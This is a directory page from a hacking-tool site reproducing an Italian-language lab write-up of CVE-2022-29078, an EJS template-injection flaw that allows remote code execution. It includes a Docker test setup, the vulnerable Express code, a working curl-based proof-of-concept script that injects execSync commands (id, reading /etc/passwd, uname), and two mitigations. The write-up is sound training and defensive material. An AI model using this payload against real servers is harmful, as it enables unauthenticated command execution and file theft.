Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-29078 | Kitploit
Strumenti/GitHubGitHub/taka3636/cve-2022-29078
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-29078 | EJS SSTI → RCE

WhiteHat School 4ª coorte (classe 32) - Sangbeom Woo (@taka3636)


Sommario

La vulnerabilità di server-side template injection (SSTI) in EJS < 3.1.7 (CVE-2022-29078) consente di eseguire comandi arbitrari sul server da remoto (RCE) senza autenticazione. Questo documento configura un ambiente vulnerabile con Docker, riproduce la RCE tramite un PoC e verifica due contromisure (aggiornamento della libreria e passaggio sicuro degli input).


Introduzione a EJS

EJS (Embedded JavaScript templates) è un motore di template ampiamente utilizzato nell'ecosistema Node.js. Consente di creare viste dinamiche inserendo JavaScript nell'HTML con i tag <% %>, ad esempio <h1>Hello <%= id %></h1>. Internamente, EJS compila la stringa del template in una funzione JavaScript e la esegue per generare l'HTML finale. In altre parole, è un generatore di codice che trasforma "testo (template)" in "codice eseguibile (funzione)"; questa caratteristica è alla base della presente vulnerabilità.


Introduzione a CVE-2022-29078

EJS < 3.1.7 inserisce il valore dell'opzione di rendering outputFunctionName nel sorgente della funzione compilata senza validazione. Se l'applicazione passa l'input dell'utente direttamente come opzione di rendering, un attaccante può inquinare questa opzione ed eseguire codice arbitrario sul server (RCE). Poiché il server può essere completamente compromesso da remoto senza autenticazione, la gravità è molto alta.

  • Versioni interessate: EJS < 3.1.7
  • Tipo: server-side template injection (SSTI) -> esecuzione di codice da remoto
  • Riferimento: NVD CVE-2022-29078

Configurazione dell'ambiente

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 바인딩(격리)
├── Dockerfile             # node:18.20.4 (버전 고정)
├── app/
│   ├── server.js          # 취약 Express 앱
│   ├── package.json       # ejs 3.1.6 정확 고정
│   └── views/page.ejs
├── poc.sh                 # PoC 실행 스크립트
└── 1.png ~ 8.png          # 스크린샷
  • Runtime: Node.js 18.20.4 fissato
  • Libreria vulnerabile: ejs 3.1.6 (fissata in modo esatto, senza simboli — con ^/~ verrebbe installata una versione con patch e la riproduzione non sarebbe possibile)
  • Framework web: express 4.18.2
  • Senza dipendere da immagini personalizzate esterne, è sufficiente un unico docker compose up -d --build.


Condizioni di vulnerabilità

L'attacco riesce quando le due condizioni seguenti sono soddisfatte contemporaneamente.

  1. Difetto della libreria: ejs < 3.1.7 inserisce outputFunctionName come codice senza alcuna validazione
  2. Utilizzo non sicuro: l'app passa l'intero input dell'utente come opzione di rendering
root@kitploit:~
// app/server.js — 취약 지점
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query 전체를 렌더 옵션으로 전달
});

Express, con res.render('page', req.query), passa l'input utente (req.query) a EJS interamente come opzioni di rendering. In questo caso il parser qs interpreta notazioni tra parentesi come settings[view options][outputFunctionName] come oggetti annidati e il loro valore viene unito all'opzione di compilazione EJS outputFunctionName. In pratica, il codice (funzione) che l'utente inserisce al posto dell'opzione viene allegato all'opzione e passato insieme a EJS. EJS inserisce questo valore davanti alla funzione compilata, come segue.

root@kitploit:~
var <outputFunctionName값> = __append;

Con un valore normale, ad esempio var myOut = __append;, è innocuo; ma se nel valore si interrompe l'istruzione con un punto e virgola e si inserisce del codice, quel codice viene eseguito alla lettera quando la funzione compilata viene eseguita. In questa posizione è possibile inserire execSync(...) per leggere file specifici o eseguire comandi di sistema.


Procedura di riproduzione

Prerequisiti: Docker + Docker Compose installati, connessione Internet durante la build.

root@kitploit:~
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps

# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC 실행
bash poc.sh

# 5) 정리
docker compose down


Codice del PoC

poc.sh — tramite l'iniezione dell'opzione outputFunctionName esegue tre comandi sul server e ne recupera i risultati. [1] id (utente che esegue), [2] /etc/passwd (lettura arbitraria di file), [3] uname (posizione di esecuzione).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : obbligatorio per non far interpretare le parentesi quadre dell'URL come glob (senza, si ottiene curl: (3) bad range)
  • Codifica: spazio %20, reindirizzamento > %3E

Risultati dell'esecuzione

Risultato dell'esecuzione di poc.sh. Una richiesta normale (id=world) restituisce soltanto Hello world, mentre il comando iniettato tramite l'iniezione di outputFunctionName viene eseguito sul server e l'output viene recuperato.

  • [1] id → uid=0(root) gid=0(root): il comando iniettato viene eseguito con privilegi di root.
  • [2] /etc/passwd → il contenuto del file degli account di sistema viene restituito così com'è: è possibile leggere file arbitrari dal server (violazione della riservatezza).
  • [3] uname → il nome host è 326f6f1b04b3 (ID del container), diverso dal nome host della VM (ubuntu-QEMU-Virtual-Machine): dimostra che il comando è stato eseguito dentro il container, non sull'host. In altre parole, i privilegi di root non derivano da sudo, ma dal processo del server vulnerabile (node nel container, che è root di default).

Con una singola richiesta remota senza autenticazione è possibile eseguire comandi con privilegi di root e leggere file arbitrari = CVE-2022-29078.


Contromisure

Contromisura 1 — Aggiornamento della libreria (soluzione definitiva)

Aggiornare ejs in package.json a 3.1.7 o superiore. La versione 3.1.7+ valida outputFunctionName tramite l'espressione regolare /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ e rifiuta caratteri non identificatori come il punto e virgola, quindi lo stesso attacco viene bloccato prima dell'esecuzione del codice.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Contromisura 2 — Passaggio sicuro degli input (difesa a livello di applicazione)

Anche con la versione vulnerabile (3.1.6), se non si passa l'intero input dell'utente ma solo i valori necessari, il percorso di unione settings[view options] viene eliminato e l'inquinamento delle opzioni non è possibile. Le funzionalità normali vengono mantenute.

root@kitploit:~
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });

Consigliato: applicare entrambe le misure: aggiornamento della libreria (soluzione definitiva) e passaggio minimo degli input utente (difesa in profondità). Inoltre, eseguire il container con un utente non-root può ridurre l'impatto di una RCE.


Riferimenti

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
Scarica lo strumento